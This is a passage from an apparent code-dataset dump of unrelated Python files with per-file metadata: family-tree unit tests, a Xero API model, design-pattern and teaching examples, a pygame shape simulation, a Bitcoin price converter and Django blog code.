spouse_error_same_gender = Person(2, "same_gender_spouse", "Female") spouse_success_case = Person(3, "Husband", "Male") # error cases self.assertRaises(ValueError, self.person.assign_spouse, spouse_error_case) self.assertRaises(ValueError, self.person.assign_spouse, spouse_error_same_gender) # success case self.person.assign_spouse(spouse_success_case) self.assertEqual(self.person.spouse.name, "Husband") self.assertEqual(self.person.spouse.gender, "Male") def test_add_children(self): child_error_case = "error_Case" child_success_case = Person(4, "Daughter", "Female") # error case self.assertRaises(ValueError, self.person.add_children, child_error_case) # success case self.person.add_children(child_success_case) self.assertEqual(len(self.person.children), 1) self.assertEqual(self.person.children[0].name, "Daughter") self.assertEqual(self.person.children[0].gender, "Female") if __name__ == '__main__': unittest.main()

37.487805

90

0.691282

363

3,074

5.61708

0.14876

0.142227

0.121138

0.159392

0.50613

0.342325

0.225601

0.193722

0.064247

0

0.004886

0.201041

3,074

81

91

37.950617

0.825326

0.041965

0

0.076005

0

0.461538

1

0.115385

false

0

0.057692

0

0.192308

0

null

0

null

0

1

0

1

6cae071fb0b7de70166dc34fefb63b3a8b59aa07

795

py

Python

examples/first_class_functions.py

HansVdb/pythonavd-d01

8434a7e211709f59994280501f0361951db5a05c

[ "BSD-2-Clause" ]

null

examples/first_class_functions.py

HansVdb/pythonavd-d01

8434a7e211709f59994280501f0361951db5a05c

[ "BSD-2-Clause" ]

null

examples/first_class_functions.py

HansVdb/pythonavd-d01

8434a7e211709f59994280501f0361951db5a05c

[ "BSD-2-Clause" ]

null

def foo(): print("I'm a lovely foo()-function") print(foo) # <function foo at 0x7f9b75de3f28> print(foo.__class__) # <class 'function'> bar = foo bar() # I'm a lovely foo()-function print(bar.__name__) # foo def do_something(what): """Executes a function :param what: name of the function to be executed """ what() do_something(foo) # I'm a lovely foo()-function def try_me(self): print('I am '+self.name) print("I was created by " + self.creator) print("This is wat I do") self() # a function is an object with attributed and methods setattr(foo, 'name', 'foo') foo.creator = "Hans" foo.print = try_me foo.print(foo) """ I am foo I was created by Hans This is wat I do I'm a lovely foo()-function """ print(foo) # <function foo at 0x7f9b75de3f28>

16.5625

53

0.660377

130

795

3.946154

0.323077

0.128655

0.023392

0.070175

0.348928

0.302144

0.263158

0.214425

0

0.025197

0.201258

795

47

54

16.914894

0.782677

0.335849

0

0.1

0

0.180095

0

1

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false

0

0.15

0.5

0

null

0

null

0

1

0

1

6cb32f44a52f1c0281429f935c70345217dd11a0

5,105

py

Python

xero_python/appstore/models/plan.py

gavinwhyte/xero-python

53a028c3b7c51da1db203b616bf7b7a028a4a1d2

[ "MIT" ]

null

xero_python/appstore/models/plan.py

gavinwhyte/xero-python

53a028c3b7c51da1db203b616bf7b7a028a4a1d2

[ "MIT" ]

null

xero_python/appstore/models/plan.py

gavinwhyte/xero-python

53a028c3b7c51da1db203b616bf7b7a028a4a1d2

[ "MIT" ]

null

# coding: utf-8 """ Xero AppStore API These endpoints are for Xero Partners to interact with the App Store Billing platform # noqa: E501 Contact: api@xero.com Generated by: https://openapi-generator.tech """ import re # noqa: F401 from xero_python.models import BaseModel class Plan(BaseModel): """NOTE: This class is auto generated by OpenAPI Generator. Ref: https://openapi-generator.tech Do not edit the class manually. """ """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ openapi_types = { "id": "str", "name": "str", "status": "str", "subscription_items": "list[SubscriptionItem]", } attribute_map = { "id": "id", "name": "name", "status": "status", "subscription_items": "subscriptionItems", } def __init__( self, id=None, name=None, status=None, subscription_items=None ): # noqa: E501 """Plan - a model defined in OpenAPI""" # noqa: E501 self._id = None self._name = None self._status = None self._subscription_items = None self.discriminator = None self.id = id self.name = name self.status = status self.subscription_items = subscription_items @property def id(self): """Gets the id of this Plan. # noqa: E501 The unique identifier of the plan # noqa: E501 :return: The id of this Plan. # noqa: E501 :rtype: str """ return self._id @id.setter def id(self, id): """Sets the id of this Plan. The unique identifier of the plan # noqa: E501 :param id: The id of this Plan. # noqa: E501 :type: str """ if id is None: raise ValueError("Invalid value for `id`, must not be `None`") # noqa: E501 self._id = id @property def name(self): """Gets the name of this Plan. # noqa: E501 The name of the plan. It is used in the invoice line item description. # noqa: E501 :return: The name of this Plan. # noqa: E501 :rtype: str """ return self._name @name.setter def name(self, name): """Sets the name of this Plan. The name of the plan. It is used in the invoice line item description. # noqa: E501 :param name: The name of this Plan. # noqa: E501 :type: str """ if name is None: raise ValueError( "Invalid value for `name`, must not be `None`" ) # noqa: E501 self._name = name @property def status(self): """Gets the status of this Plan. # noqa: E501 Status of the plan. Available statuses are ACTIVE, CANCELED, and PENDING_ACTIVATION. # noqa: E501 :return: The status of this Plan. # noqa: E501 :rtype: str """ return self._status @status.setter def status(self, status): """Sets the status of this Plan. Status of the plan. Available statuses are ACTIVE, CANCELED, and PENDING_ACTIVATION. # noqa: E501 :param status: The status of this Plan. # noqa: E501 :type: str """ if status is None: raise ValueError( "Invalid value for `status`, must not be `None`" ) # noqa: E501 allowed_values = [ "ACTIVE", "CANCELED", "PENDING_ACTIVATION", "None", ] # noqa: E501 if status: if status not in allowed_values: raise ValueError( "Invalid value for `status` ({0}), must be one of {1}".format( # noqa: E501 status, allowed_values ) ) self._status = status @property def subscription_items(self): """Gets the subscription_items of this Plan. # noqa: E501 List of the subscription items belonging to the plan. It does not include cancelled subscription items. # noqa: E501 :return: The subscription_items of this Plan. # noqa: E501 :rtype: list[SubscriptionItem] """ return self._subscription_items @subscription_items.setter def subscription_items(self, subscription_items): """Sets the subscription_items of this Plan. List of the subscription items belonging to the plan. It does not include cancelled subscription items. # noqa: E501 :param subscription_items: The subscription_items of this Plan. # noqa: E501 :type: list[SubscriptionItem] """ if subscription_items is None: raise ValueError( "Invalid value for `subscription_items`, must not be `None`" ) # noqa: E501 self._subscription_items = subscription_items

28.20442

126

0.56905

602

5,105

4.747508

0.189369

0.081176

0.055983

0.058782

0.531141

0.474808

0.439118

0.321554

0.228132

0.190343

0

0.027753

0.343585

5,105

180

127

28.361111

0.825127

0.400784

0

0.102564

1

0

0.163517

0.017666

0

1

0.115385

false

0

0.025641

0

0.230769

0

null

0

1

0

null

0

1

6cb33395406f43fe2ee837077f069c801b9bcf8e

2,167

py

Python

design_patterns/behavioral/command.py

Minkov/python-oop-2021-02

bd387dde165f4338eed66c4bc0b4b516ee085340

[ "MIT" ]

2

2021-02-22T22:55:31.000Z

2021-04-05T18:25:10.000Z

design_patterns/behavioral/command.py

Minkov/python-oop-2021-02

bd387dde165f4338eed66c4bc0b4b516ee085340

[ "MIT" ]

null

design_patterns/behavioral/command.py

Minkov/python-oop-2021-02

bd387dde165f4338eed66c4bc0b4b516ee085340

[ "MIT" ]

2

2021-04-05T18:35:11.000Z

2021-04-08T12:18:19.000Z

from abc import ABC, abstractmethod class Command(ABC): @abstractmethod def execute(self): pass @abstractmethod def un_execute(self): pass class AddCommand(Command): def __init__(self, values, new_value): self.values = values self.new_value = new_value def execute(self): self.values.append(self.new_value) def un_execute(self): self.values.pop() class SumCommand(Command): def __init__(self, values): self.values = values def execute(self): return sum(self.values) def un_execute(self): return sum(self.values) class RemoveLastCommand(Command): def __init__(self, values): self.values = values self.removed_value = None def execute(self): self.removed_value = self.values.pop() def un_execute(self): self.values.append(self.removed_value) self.removed_value = None class RemoveFirstCommand(Command): def __init__(self, values): self.values = values self.removed_value = None def execute(self): self.removed_value = self.values.pop(0) def un_execute(self): self.values.insert(0, self.removed_value) self.removed_value = None class CommandsMemento: def __init__(self, values): self.state = list(values) commands = [] values = [] while True: command_text = input() if command_text == 'END': break if command_text == 'REMOVE_LAST': command = RemoveLastCommand(values) elif command_text == 'REMOVE_FIRST': command = RemoveFirstCommand(values) elif command_text == 'SUM': command = SumCommand(values) else: _, value = command_text.split(' ') command = AddCommand(values, int(value)) commands.append(command) mementos = [] for command in commands: print(command.execute()) for memento in mementos: print(memento.state) print('----') print(values) for command in commands[::-1]: print(command.un_execute()) print(values) """ ADD 5 ADD 6 SUM REMOVE_FIRST ADD 3 ADD 7 SUM REMOVE_LAST SUM REMOVE_LAST SUM REMOVE_LAST SUM END """

18.210084

49

0.646054

262

2,167

5.148855

0.21374

0.126019

0.094885

0.059303

0.437361

0.404003

0.274277

0.243143

0.152706

0

0.0043

0.248731

2,167

118

50

18.364407

0.824324

0

0.428571

0

0.016481

0

1

0.214286

false

0.028571

0.014286

0.028571

0.342857

0.085714

0

null

0

null

0

1

0

1

6cb4cc84649164fc13d24146a17efcfc7d6676a4

2,120

py

Python

Ensemble_Movie.py

nchaparr/Sam_Output_Anls

c6736f7863b36d09738ac95b7cbde19ba69526cf

[ "MIT" ]

null

Ensemble_Movie.py

nchaparr/Sam_Output_Anls

c6736f7863b36d09738ac95b7cbde19ba69526cf

[ "MIT" ]

1

2015-04-18T14:47:49.000Z

2015-05-01T21:51:44.000Z

Ensemble_Movie.py

nchaparr/Sam_Output_Anls

c6736f7863b36d09738ac95b7cbde19ba69526cf

[ "MIT" ]

null

from netCDF4 import Dataset import glob,os.path import numpy as np from scipy.interpolate import UnivariateSpline from matplotlib import cm import matplotlib.pyplot as plt #import site #site.addsitedir('/tera/phil/nchaparr/SAM2/sam_main/python') #from Percentiles import * from matplotlib.patches import Patch import sys sys.path.insert(0, '/tera/phil/nchaparr/python') #import nchap_fun as nc import matplotlib.animation as animation from Ens_Profs import Get_Var_Arrays from Make_Timelist import * """ Profiles/2d ims at a point for a movie may be pointless now -- data at longer delta ts """ #set up plot dump_time_list, Times_hrs = Make_Timelists(1, 60, 28800) dump_time = dump_time_list[59] i=1 ims = [] ims1 = [] theFig = plt.figure() #theFig1.clf() #theAx = theFig.add_subplot(111) #theAx1 = theFig.add_subplot(111) #theAx.set_title('') #theAx.set_xlabel('') #theAx.set_ylabel('') for dump_time in dump_time_list: #getting horizontally averaged, ensemble averaged tracer [tracer, theta, height] = Get_Var_Arrays(dump_time) #[grad_tracer, tracer_peaks] = nc.Domain_Grad(tracer, height) [yindex, xindex] = [13, 44] #print yindex, xindex, tracer_peaks[yindex, xindex] i=i+1 x = np.arange(0, 1600, 25) y = height[0:64] X,Y = np.meshgrid(x, y) tslice = tracer[0:64, 13, :] thetaslice = theta[0:64, 13, :] ims.append((plt.pcolor(X, Y, tslice, norm=plt.Normalize(0, 30)),)) #ims.append((plt.pcolor(X, Y, thetaslice, norm=plt.Normalize(0, 30)),)) #ims.append(plt.plot(tracer[:, yindex, xindex], height, 'ko')) #ims.append(plt.plot(theta[:, yindex, xindex], height, 'ko')) #plt.savefig('/tera/phil/nchaparr/python/Plotting/July92013/pngs/for_point_movie/Point_Tracer_'+ str(i)+'.png', bbox_inches=0) im_ani = animation.ArtistAnimation(theFig, ims, interval=500, repeat_delay=30000, blit=True) #im_ani = animation.ArtistAnimation(theFig, ims, interval=1000, repeat_delay=30000, blit=True) #im_ani.save('/tera/phil/nchaparr/python/Plotting/July92013/pngs/for_point_movie/im.mp4') plt.show()

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130

0.706132

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2,120

4.610759

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0.032944

0.043926

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0

0.046927

0.15566

2,120

74

131

28.648649

0.767039

0.438208

0

0.024436

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0

null

0

null

0

1

0

1

6cbf415d6c7f56e53145504a706d0df172e83094

14,720

py

Python

clique_main_1.py

mccrimmonmd/clique

d6539a4530acf5c5cf85dac2eb520fa69f3a310a

[ "MIT" ]

null

clique_main_1.py

mccrimmonmd/clique

d6539a4530acf5c5cf85dac2eb520fa69f3a310a

[ "MIT" ]

null

clique_main_1.py

mccrimmonmd/clique

d6539a4530acf5c5cf85dac2eb520fa69f3a310a

[ "MIT" ]

null

""" Version 1: - It begins - For some reason, this version of the decision code (in Shape.move) just makes every shape move up and to the left """ from __future__ import division import pygame, pygame.locals, math, random RAND = random.Random() RAND.seed() UP = 0 DOWN = 1 RIGHT = 2 LEFT = 3 STAY = 4 PLAYER_MOVEMENT = 2 OFFSET = [0, 0] SHAPE_TYPES = ['triangle', 'square', 'pentagon', 'hexagon', 'circle'] SHAPE_SIDES = { 'circle': 1, 'hexagon': 6, 'pentagon': 5, 'square': 4, 'triangle': 3} SHAPE_MEAN = { 'circle': 35, 'hexagon': 40, 'pentagon': 45, 'square': 70, 'triangle': 80} SHAPE_DEV = { 'circle': 5, 'hexagon': 6, 'pentagon': 7, 'square': 9, 'triangle': 10} MAGIC_CONSTANT = 2 / len(SHAPE_TYPES) # if the dividend is 1, all shape types will be generated equally # if the dividend is > 1, the distribution of shapes will be skewed in favor # of fewer sides. # if the dividend is >= the divisor, only triangles will be generated. LINE_OF_SIGHT = 500 STROKE_WIDTH = 1 NUM_SHAPES = 50 MAX_AGE = 10000 BLACK = pygame.color.Color(0,0,0) WHITE = pygame.color.Color(255,255,255) def main(player, shapes, size, period): pygame.init() pygame.key.set_repeat(25, 25) screen = pygame.display.set_mode(size) TICK = pygame.locals.USEREVENT + 1 pygame.time.set_timer(TICK, period) running = True while running: for event in pygame.event.get(): if event.type == pygame.QUIT: running = False pygame.quit() elif event.type == pygame.KEYDOWN: if event.key == pygame.K_UP: player.move_player(UP) elif event.key == pygame.K_DOWN: player.move_player(DOWN) elif event.key == pygame.K_RIGHT: player.move_player(RIGHT) elif event.key == pygame.K_LEFT: player.move_player(LEFT) #elif event.key == pygame.K_SPACE: #pass elif event.type == TICK: screen.fill(WHITE) # these loops must run consecutively because shapes calculate # new positions based on the old positions of other shapes; # discrete timesteps are maintained with the Shape.pos and # Shape.nextpos variables. A shape's actual position is only # updated in its draw method. for shape in shapes: if shape != player: shape.move() for shape in shapes: if shape != player: shape.draw(screen) # the player should always be on top, so it gets rendered last player.draw(screen) pygame.display.flip() # end main() class Shape(object): def __init__(self, position, shape_type, side_length, color, persona, age=0): self.pos = position self.nextpos = list(position) self.direction = STAY self.shape_type = shape_type self.side_length = side_length # for circles, side_length = radius self.color = color self.persona = persona self.age = age self.points = makepoints(self.pos, self.shape_type, self.side_length) def move(self): # KEEP TRACK OF CURRENT DIRECTION; VOTE TO CHANGE IT OR NOT # (shapes should have a certain amount of inertia) # the shape should lose its inertia if its personal space is invaded # if RAND.random() < .25: # shape is changing direction # 0 for UP, 1 for DOWN, 2 for RIGHT, 3 for LEFT, 4 for STAY votes = [0,0,0,0,0] self_type = self.shape_type self_r = self.color.r self_g = self.color.g self_b = self.color.b self_size = self.side_length rgb_tolerance = self.persona.rgb_tolerance #size_tolerance = self.persona.size_tolerance space_tolerance = self.persona.personal_space xpos = self.pos[0] ypos = self.pos[1] ups = 0 downs = 0 rights = 0 lefts = 0 stays = 0 for shape in shapes: xdist = xpos - shape.pos[0] ydist = ypos - shape.pos[1] totaldist = math.sqrt(xdist**2 + ydist**2) if totaldist < LINE_OF_SIGHT: approach = closer(xdist, ydist) avoid = further(xdist, ydist) if approach == 0 or avoid == 0: ups += 1 if approach == 1 or avoid == 1: downs += 1 if approach == 2 or avoid == 2: rights += 1 if approach == 3 or avoid == 3: lefts += 1 if approach == 4 or avoid == 4: stays += 1 assert approach != avoid #print approach, avoid if totaldist < space_tolerance: votes[avoid] += space_tolerance - int(totaldist) if self_type != shape.shape_type: #votes[approach] += 3 #votes[STAY] += 1 #else: votes[avoid] += 3 if (self_r - rgb_tolerance <= shape.color.r <= self_r + rgb_tolerance): votes[approach] += 1 #else: #votes[avoid] += 1 if (self_g - rgb_tolerance <= shape.color.g <= self_g + rgb_tolerance): votes[approach] += 1 #else: #votes[avoid] += 1 if (self_b - rgb_tolerance <= shape.color.b <= self_b + rgb_tolerance): votes[approach] += 1 #else: #votes[avoid] += 1 #if (self_size - size_tolerance <= #shape.side_length <= #self_size + size_tolerance): #votes[approach] += 1 #else: #votes[avoid] += 1 direction = bestvote(votes) print votes, ups, downs, rights, lefts, stays else: # shape is not changing direction direction = self.direction if direction == UP: self.nextpos[1] -= 1 elif direction == DOWN: self.nextpos[1] += 1 elif direction == RIGHT: self.nextpos[0] += 1 elif direction == LEFT: self.nextpos[0] -= 1 # if direction == STAY: do nothing self.direction = direction def move_player(self, direction): # modify offset in *opposite* direction # (to keep "camera" centered on player) if direction == UP: OFFSET[1] += PLAYER_MOVEMENT elif direction == DOWN: OFFSET[1] -= PLAYER_MOVEMENT elif direction == RIGHT: OFFSET[0] -= PLAYER_MOVEMENT elif direction == LEFT: OFFSET[0] += PLAYER_MOVEMENT def draw(self, surface): if self == player: pygame.draw.circle(surface, self.color, self.pos, self.side_length) pygame.draw.circle(surface, BLACK, self.pos, self.side_length, STROKE_WIDTH) else: xpos = self.pos[0] + OFFSET[0] ypos = self.pos[1] + OFFSET[1] # if the shape isn't visible, don't bother drawing it offscreen = (xpos > size[0] + self.side_length or xpos < -self.side_length or ypos > size[1] + self.side_length or ypos < -self.side_length) if not offscreen: if self.shape_type == 'circle': pygame.draw.circle(surface, self.color, (xpos, ypos), self.side_length) pygame.draw.circle(surface, BLACK, (xpos, ypos), self.side_length, STROKE_WIDTH) else: # praw a polygon centered at self.pos pygame.draw.polygon(surface, self.color, self.offset_points()) pygame.draw.polygon(surface, BLACK, self.offset_points(), STROKE_WIDTH) #else: print("This shape (of type ", self.shape_type, ") is offscreen") self.update_position() self.age += 1 if self.age > MAX_AGE: shapes.remove(self) shapes.append(generate_shape()) def update_position(self): if self.shape_type != 'circle': xdiff = self.nextpos[0] - self.pos[0] ydiff = self.nextpos[1] - self.pos[1] for point in self.points: point[0] += xdiff point[1] += ydiff self.pos = (self.nextpos[0], self.nextpos[1]) def offset_points(self): return [[point[0]+OFFSET[0], point[1]+OFFSET[1]] for point in self.points] # end class Shape def bestvote(votes): maxpos = 0 maxval = votes[0] for i in range(1, len(votes)): if votes[i] >= maxval: maxpos = i maxval = votes[i] return maxpos #xdist = xpos - shape.pos[0] #ydist = ypos - shape.pos[1] """ If xdist is positive, they are to the left of me. If xdist is negative, they are to the right of me. If ydist is positive, they are above me. If ydist is negative, they are below me. I will reduce the axis of greatest distance if I want to get closer. I will increase the axis of least distance if I want to get further. OR I will randomly choose an axis to travel along. """ def closer(xdist, ydist): if xdist == ydist == 0: return STAY if RAND.random() < 0.5: #if xdist > ydist: # move along the x axis if xdist > 0: return LEFT else: return RIGHT else: # move along the y axis if ydist > 0: return UP else: return DOWN def further(xdist, ydist): if RAND.random() < 0.5: #if xdist < ydist: # move along the x axis if xdist > 0: return RIGHT else: return LEFT else: # move along the y axis if ydist > 0: return DOWN else: return UP class Personality(object): def __init__(self, shape_type): self.rgb_tolerance = int(RAND.gauss(50, 10)) #self.size_tolerance = int(RAND.gauss(SHAPE_MEAN[shape_type] / 2, #SHAPE_DEV[shape_type] / 2)) self.personal_space = int(RAND.gauss(SHAPE_MEAN[shape_type] * 2, SHAPE_DEV[shape_type] / 2)) print self.rgb_tolerance, self.personal_space # end class Personality def makepoints(position, shape_type, side_length): halfside = side_length / 2 if shape_type == 'circle': return None elif shape_type == 'triangle': h = math.sqrt(side_length**2 - (side_length/2)**2) apothem = h / 2 top = [position[0], position[1] - apothem] botleft = [position[0] - halfside, position[1] + apothem] botright = [position[0] + halfside, position[1] + apothem] return (top, botleft, botright) elif shape_type == 'square': topleft = [position[0] - halfside, position[1] - halfside] topright = [topleft[0] + side_length, topleft[1]] botleft = [topleft[0], topleft[1] + side_length] botright = [topright[0], topright[1] + side_length] return (topleft, topright, botright, botleft) else: numsides = SHAPE_SIDES[shape_type] apothem = side_length / (2 * math.tan(math.pi / numsides)) angle = ((numsides - 2) * math.pi) / (numsides * 2) xoffset = side_length * math.sin(angle) yoffset = side_length * math.cos(angle) radius = math.sqrt(halfside**2 + apothem**2) if shape_type == 'pentagon': top = [position[0], position[1] - radius] second = [position[0] + xoffset, top[1] + yoffset] third = [position[0] + halfside, position[1] + apothem] fourth = [position[0] - halfside, position[1] + apothem] fifth = [position[0] - xoffset, top[1] + yoffset] return (top, second, third, fourth, fifth) elif shape_type == 'hexagon': topleft = [position[0] - halfside, position[1] - apothem] topright = [position[0] + halfside, position[1] - apothem] right = [position[0] + radius, position[1]] botright = [position[0] + halfside, position[1] + apothem] botleft = [position[0] - halfside, position[1] + apothem] left = [position[0] - radius, position[1]] return (topleft, topright, right, botright, botleft, left) else: print('unkown shape, type:', shape_type) assert False # end makepoints() def choose_shape(): for shape_type in SHAPE_TYPES: print(shape_type) if shape_type == 'circle': return shape_type elif RAND.random() < MAGIC_CONSTANT: return shape_type def generate_shape(random_age=False): if random_age: age = RAND.randint(0, MAX_AGE-1) else: age = 0 r = g = b = 255 while r == 255 and g == 255 and b == 255: # only the player may be white r = RAND.randint(0,255) g = RAND.randint(0,255) b = RAND.randint(0,255) x = RAND.randint(0,size[0]) - OFFSET[0] y = RAND.randint(0,size[1]) - OFFSET[1] shape_type = choose_shape() shape_size = 0 while shape_size <= 0: shape_size = RAND.gauss(SHAPE_MEAN[shape_type], SHAPE_DEV[shape_type]) shape = Shape( (x,y), # new shapes always appear onscreen - problem? shape_type, int(shape_size), pygame.color.Color(r, g, b), Personality(shape_type), age ) return shape def generate_shapes(): shapes = [] for i in range(NUM_SHAPES): shape = generate_shape(True) shapes.append(shape) return shapes size = (1200, 900) period = 25 player = Shape( (int(size[0]/2), int(size[1]/2)), 'circle', 25, WHITE, None, None ) shapes = generate_shapes() shapes.append(player) main(player, shapes, size, period)

32.494481

83

0.531793

1,748

14,720

4.382151

0.168192

0.038773

0.020104

0.029373

0.256527

0.18799

0.112663

0.104047

0.079243

0

0.027873

0.366304

14,720

452

84

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0.79331

0.127989

0

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0

0.017799

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0

null

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0.006826

null

0.013652

0

null

0

null

0

1

0

1

6ccc8df451a2936e28cf2b4cd839f862b2e3add8

888

py

Python

predictions/views.py

Mustapha-Belkacim/English-Premier-League-predictor

2950d70e9aa80cc8c39f102029fb460b992f1e36

[ "MIT" ]

5

2018-02-27T18:03:45.000Z

2018-07-23T11:40:55.000Z

predictions/views.py

Mustapha-Belkacim/Russia-2018-World-Cup-Predictor

2950d70e9aa80cc8c39f102029fb460b992f1e36

[ "MIT" ]

1

2018-12-10T04:33:24.000Z

predictions/views.py

Mustapha-Belkacim/English-Premier-League-predictor

2950d70e9aa80cc8c39f102029fb460b992f1e36

[ "MIT" ]

1

2018-02-26T14:23:40.000Z

from django.shortcuts import render from django.views import View, generic from .services.predictor import get_results class Index(View): template_name = 'predictions/index.html' model = 'xgboost' season = '16/17' results = '' leadboard = '' def get(self, request): self.results = get_results(self.season) #self.results = predict_season(self.season, self.model) return render(request, self.template_name, {'results' :self.results, 'leadboard':self.leadboard}) def post(self, request): self.model = request.POST['model'] self.season = request.POST['season'] self.results = get_results(self.season) return render(request, self.template_name, {'results' :self.results, 'leadboard':self.leadboard})

37

80

0.600225

94

888

5.595745

0.319149

0.104563

0.057034

0.079848

0.403042

0.285171

0

0.006339

0.289414

888

23

81

38.608696

0.827258

0.060811

0

0.315789

0

0.092437

0.026411

0

1

0.105263

false

0

0.157895

0

0.684211

0

null

0

null

0

1

0

1

6ccd22609ab3e08378fdd219fad406bb1e80df1a

7,546

py

Python

forex_python/bitcoin.py

Otisey/forex-python

a34d074b8ee7411cd2868ea3945793ef43bf7965

[ "MIT" ]

505

2016-05-21T04:50:19.000Z

2022-03-29T04:40:36.000Z

forex_python/bitcoin.py

Otisey/forex-python

a34d074b8ee7411cd2868ea3945793ef43bf7965

[ "MIT" ]

92

2016-05-22T09:26:23.000Z

2022-02-18T11:26:56.000Z

forex_python/bitcoin.py

Otisey/forex-python

a34d074b8ee7411cd2868ea3945793ef43bf7965

[ "MIT" ]

166

2016-05-21T04:52:49.000Z

2022-03-25T03:57:24.000Z

from decimal import Decimal import simplejson as json import requests from .converter import RatesNotAvailableError, DecimalFloatMismatchError class BtcConverter(object): """ Get bit coin rates and convertion """ def __init__(self, force_decimal=False): self._force_decimal = force_decimal def _decode_rates(self, response, use_decimal=False): if self._force_decimal or use_decimal: decoded_data = json.loads(response.text, use_decimal=True) else: decoded_data = response.json() return decoded_data def get_latest_price(self, currency): """ Get Lates price of one bitcoin to valid Currency 1BTC => X USD """ url = 'https://api.coindesk.com/v1/bpi/currentprice/{}.json'.format(currency) response = requests.get(url) if response.status_code == 200: data = response.json() price = data.get('bpi').get(currency, {}).get('rate_float', None) if self._force_decimal: return Decimal(price) return price return None def get_previous_price(self, currency, date_obj): """ Get Price for one bit coin on given date """ start = date_obj.strftime('%Y-%m-%d') end = date_obj.strftime('%Y-%m-%d') url = ( 'https://api.coindesk.com/v1/bpi/historical/close.json' '?start={}&end={}&currency={}'.format( start, end, currency ) ) response = requests.get(url) if response.status_code == 200: data = response.json() price = data.get('bpi', {}).get(start, None) if self._force_decimal: return Decimal(price) return price raise RatesNotAvailableError("BitCoin Rates Source Not Ready For Given date") def get_previous_price_list(self, currency, start_date, end_date): """ Get List of prices between two dates """ start = start_date.strftime('%Y-%m-%d') end = end_date.strftime('%Y-%m-%d') url = ( 'https://api.coindesk.com/v1/bpi/historical/close.json' '?start={}&end={}&currency={}'.format( start, end, currency ) ) response = requests.get(url) if response.status_code == 200: data = self._decode_rates(response) price_dict = data.get('bpi', {}) return price_dict return {} def convert_to_btc(self, amount, currency): """ Convert X amount to Bit Coins """ if isinstance(amount, Decimal): use_decimal = True else: use_decimal = self._force_decimal url = 'https://api.coindesk.com/v1/bpi/currentprice/{}.json'.format(currency) response = requests.get(url) if response.status_code == 200: data = response.json() price = data.get('bpi').get(currency, {}).get('rate_float', None) if price: if use_decimal: price = Decimal(price) try: converted_btc = amount/price return converted_btc except TypeError: raise DecimalFloatMismatchError("convert_to_btc requires amount parameter is of type Decimal when force_decimal=True") raise RatesNotAvailableError("BitCoin Rates Source Not Ready For Given date") def convert_btc_to_cur(self, coins, currency): """ Convert X bit coins to valid currency amount """ if isinstance(coins, Decimal): use_decimal = True else: use_decimal = self._force_decimal url = 'https://api.coindesk.com/v1/bpi/currentprice/{}.json'.format(currency) response = requests.get(url) if response.status_code == 200: data = response.json() price = data.get('bpi').get(currency, {}).get('rate_float', None) if price: if use_decimal: price = Decimal(price) try: converted_amount = coins * price return converted_amount except TypeError: raise DecimalFloatMismatchError("convert_btc_to_cur requires coins parameter is of type Decimal when force_decimal=True") raise RatesNotAvailableError("BitCoin Rates Source Not Ready For Given date") def convert_to_btc_on(self, amount, currency, date_obj): """ Convert X amount to BTC based on given date rate """ if isinstance(amount, Decimal): use_decimal = True else: use_decimal = self._force_decimal start = date_obj.strftime('%Y-%m-%d') end = date_obj.strftime('%Y-%m-%d') url = ( 'https://api.coindesk.com/v1/bpi/historical/close.json' '?start={}&end={}&currency={}'.format( start, end, currency ) ) response = requests.get(url) if response.status_code == 200: data = response.json() price = data.get('bpi', {}).get(start, None) if price: if use_decimal: price = Decimal(price) try: converted_btc = amount/price return converted_btc except TypeError: raise DecimalFloatMismatchError("convert_to_btc_on requires amount parameter is of type Decimal when force_decimal=True") raise RatesNotAvailableError("BitCoin Rates Source Not Ready For Given Date") def convert_btc_to_cur_on(self, coins, currency, date_obj): """ Convert X BTC to valid currency amount based on given date """ if isinstance(coins, Decimal): use_decimal = True else: use_decimal = self._force_decimal start = date_obj.strftime('%Y-%m-%d') end = date_obj.strftime('%Y-%m-%d') url = ( 'https://api.coindesk.com/v1/bpi/historical/close.json' '?start={}&end={}&currency={}'.format( start, end, currency ) ) response = requests.get(url) if response.status_code == 200: data = response.json() price = data.get('bpi', {}).get(start, None) if price: if use_decimal: price = Decimal(price) try: converted_btc = coins*price return converted_btc except TypeError: raise DecimalFloatMismatchError("convert_btc_to_cur_on requires amount parameter is of type Decimal when force_decimal=True") raise RatesNotAvailableError("BitCoin Rates Source Not Ready For Given Date") def get_symbol(self): """ Here is Unicode symbol for bitcoin """ return "\u0E3F" _Btc_Converter = BtcConverter() get_btc_symbol = _Btc_Converter.get_symbol convert_btc_to_cur_on = _Btc_Converter.convert_btc_to_cur_on convert_to_btc_on = _Btc_Converter.convert_to_btc_on convert_btc_to_cur = _Btc_Converter.convert_btc_to_cur convert_to_btc = _Btc_Converter.convert_to_btc get_latest_price = _Btc_Converter.get_latest_price get_previous_price = _Btc_Converter.get_previous_price get_previous_price_list = _Btc_Converter.get_previous_price_list

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145

0.579777

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0.622888

0

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0.323218

7,546

200

146

37.73

0.816918

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false

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0

null

0

1

0

null

0

1

6cd509e695712b4d2634df653709f63565e266c1

1,895

py

Python

models.py

Nelestya/blog

4e99ba3789f5214be5fd290801d0fde751e2d99f

[ "MIT" ]

null

models.py

Nelestya/blog

4e99ba3789f5214be5fd290801d0fde751e2d99f

[ "MIT" ]

null

models.py

Nelestya/blog

4e99ba3789f5214be5fd290801d0fde751e2d99f

[ "MIT" ]

null

from django.db import models from django.utils import timezone from django.contrib.auth.models import User from django.core.urlresolvers import reverse from baseapp.models import Recently # Create your models here. class PublishedManager(models.Manager): def get_queryset(self): return super(PublishedManager, self).get_queryset().filter(status='published') class Post(Recently): STATUS_CHOICE = ( ('draft', 'Draft'), ('published', 'Published'), ) title = models.CharField(max_length=150) slug = models.SlugField(max_length=150, unique_for_date='publish') author = models.ForeignKey(User, related_name='blog_posts') body = models.TextField() publish = models.DateTimeField(default=timezone.now) status = models.CharField(max_length=10, choices=STATUS_CHOICE, default='draft') image = models.ImageField(upload_to='post/%Y/%m/%d', blank=True) image_description = models.CharField(max_length=60) objects = models.Manager() # The default manager. published = PublishedManager() # The Dahl-specific manager. class Meta: ordering = ('-publish',) def __str__(self): return self.title def get_absolute_url(self): return reverse('blog:post_detail', args=[self.publish.year, self.publish.strftime('%m'), self.publish.strftime('%d'), self.slug, ]) class Comment(Recently): mail = models.EmailField() pseudo = models.CharField(max_length=30) body = models.TextField() post = models.ForeignKey('Post', on_delete=models.CASCADE, blank=False, related_name='comments') def __str__(self): return 'Commented by {} in {}'.format(self.pseudo, self.post)

35.092593

86

0.626913

206

1,895

5.631068

0.461165

0.038793

0.062069

